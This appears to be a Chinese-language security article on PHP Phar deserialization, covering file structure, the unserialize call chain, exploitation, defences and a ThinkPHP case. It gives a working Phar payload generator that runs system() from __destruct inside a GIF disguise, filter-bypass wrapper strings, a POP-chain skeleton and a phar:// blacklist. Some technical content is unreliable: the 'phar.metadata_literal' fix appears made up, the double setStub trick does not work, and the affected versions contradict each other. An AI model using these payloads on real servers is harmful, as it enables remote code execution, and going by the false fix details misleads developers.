PHP 5.3-8.0 Phar反序列化深度解析:从文件结构到内核函数php_var_unserialize

PHP 5.3-8.0 Phar反序列化深度解析:从文件结构到内核函数php_var_unserialize

PHP Phar反序列化漏洞深度解析:从文件结构到内核函数调用链

1. 引言:Phar文件与反序列化漏洞的关联

在PHP安全研究领域,Phar反序列化漏洞因其独特的触发方式和广泛的影响范围而备受关注。与传统的unserialize()函数触发的反序列化漏洞不同,Phar反序列化提供了一种"无感触发"的攻击路径——即使代码中从未显式调用反序列化函数,只要存在文件操作接口,就可能存在风险。

核心问题在于PHP处理Phar文件时对metadata的解析机制。当开发者使用phar://协议处理文件时,PHP内核会自动将文件中的序列化metadata进行反序列化操作。这种设计本是为了方便存储复杂数据结构,却意外打开了潘多拉魔盒。

2. Phar文件结构深度剖析

2.1 二进制格式详解

一个标准的Phar文件由四个关键部分组成:

00000000: 4749 4638 3961 3c3f 7068 7020 5f5f 4841 GIF89a<?php __HA 00000010: 4c54 5f43 4f4d 5049 4c45 5228 293b 203f LT_COMPILER(); ? 00000020: 3e0d 0a50 4b03 040a 0000 0008 0000 0021 >..PK..........! 00000030: 3744 35... [其余部分省略]

关键结构说明

  1. Stub:文件标识头,必须包含__HALT_COMPILER();终止符
  2. Manifest:包含文件元信息的核心区域
    • 文件权限、创建时间等属性
    • 用户自定义的序列化metadata
  3. File Contents:实际压缩存储的文件内容
  4. Signature:可选的签名验证部分(GBMB结尾)

2.2 关键数据结构对比

结构部分存储格式是否加密是否必需安全影响
Stub明文文本可伪装文件类型
Manifest二进制+序列化数据可选反序列化触发点
Contents原始/压缩数据可选可存储恶意代码
Signature哈希值可选完整性校验

3. 内核级漏洞原理分析

3.1 关键函数调用链

当PHP解析Phar文件时,内核中会发生以下关键调用流程:

// php-src/ext/phar/phar.c phar_parse_metadata() ↓ php_var_unserialize() ↓ zend_class_lookup() ↓ object_common1()

这个调用链揭示了漏洞的本质:metadata解析时未经充分校验就直接反序列化。PHP 8.0+通过引入phar.metadata_literal配置项修复了此问题。

3.2 漏洞触发条件矩阵

必要条件

  • PHP版本5.3-7.4(含)
  • 存在文件操作函数调用
  • 参数可控且允许phar://协议

充分条件

  • 可上传Phar文件(或能控制文件内容)
  • 存在可利用的魔术方法链
  • 无特殊字符过滤(如:/等)

4. 实战利用技术详解

4.1 文件生成与伪装技巧

基础Phar生成代码:

class Exploit { public $cmd = 'id'; function __destruct() { system($this->cmd); } } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Exploit()); $phar->stopBuffering(); // 重命名为图片格式 rename('exploit.phar', 'exploit.gif');

高级绕过技巧

  1. 压缩格式转换
    $phar->convertToExecutable(Phar::TAR); // 生成.tar.phar
  2. 注释注入(针对__HALT_COMPILER检测):
    $phar->setStub("GIF89a<?php /*"); $phar->setStub("*/ __HALT_COMPILER(); ?>");

4.2 协议层绕过方案

phar://被过滤时,可尝试以下变种:

compress.zlib://phar:///path/to/file.phar php://filter/read=convert.base64-encode/resource=phar://./file.phar data://text/plain;base64,[base64_phar]

5. 防御方案与最佳实践

5.1 代码层防护

输入验证模板

function safe_file_op($path) { $blacklist = ['phar://', 'zip://']; foreach($blacklist as $proto) { if(strpos($path, $proto) !== false) { throw new Exception("危险协议禁止使用"); } } return file_get_contents($path); }

5.2 架构级防护策略

  1. 运行时防护

    • 设置phar.readonly=1(默认值)
    • 启用phar.require_hash=1强制签名验证
  2. 部署建议

    location ~* \.(phar|php)$ { deny all; }

6. 历史漏洞案例研究

6.1 ThinkPHP 5.x利用链

典型POP链构造:

namespace think\process\pipes; class Windows { private $files; function __construct() { $this->files = [new Pivot()]; } } namespace think; abstract class Model { protected $data = []; function __construct() { $this->data = ['key' => new Request()]; } } // 最终触发点:Request类的__call魔术方法

6.2 CMS漏洞实例

某流行CMS的利用流程:

  1. 通过头像上传传Phar文件
  2. 模板解析函数调用file_exists()
  3. 触发phar://解析执行RCE

7. 高级研究与未来方向

PHP 8.0+的改进带来了新的挑战:

  • JIT编译对反序列化性能的影响
  • 属性注解带来的新型利用链
  • FFI扩展与原生代码结合的利用可能

研究趋势表明,结合OPcache和JIT的侧信道攻击可能成为下一个研究热点。对于开发者而言,理解底层机制永远是构建有效防御的第一道防线。